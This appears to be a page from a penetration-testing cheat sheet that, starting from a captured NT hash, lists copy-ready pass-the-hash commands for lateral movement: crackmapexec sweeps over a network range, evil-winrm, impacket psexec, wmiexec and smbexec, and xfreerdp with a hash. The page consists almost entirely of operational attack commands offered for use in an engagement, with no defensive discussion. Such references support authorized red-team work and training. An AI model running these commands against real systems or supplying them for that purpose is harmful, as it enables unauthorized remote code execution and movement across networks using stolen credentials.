OPSECTLAS you are here: NT hash
next-move engine

You have NT hash

2 high-yield moves from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. needsNT hash
    toolscrackmapexecevil-winrmimpacket
    Requires

    NT hash of the target account. Works against NTLM-authenticated services.

    CrackMapExec PTH · check access across the network

    crackmapexec smb <RANGE> -u Administrator -H <NTLM-HASH> --local-auth
    crackmapexec smb <RANGE> -u <USER> -H <NTLM-HASH>

    evil-winrm PTH

    evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>

    impacket tools PTH

    impacket-psexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
    impacket-wmiexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
    impacket-smbexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>

    xfreerdp PTH (requires restricted admin mode on target)

    xfreerdp /u:<USER> /pth:<NTLM-HASH> /v:<TARGET-IP> /cert:ignore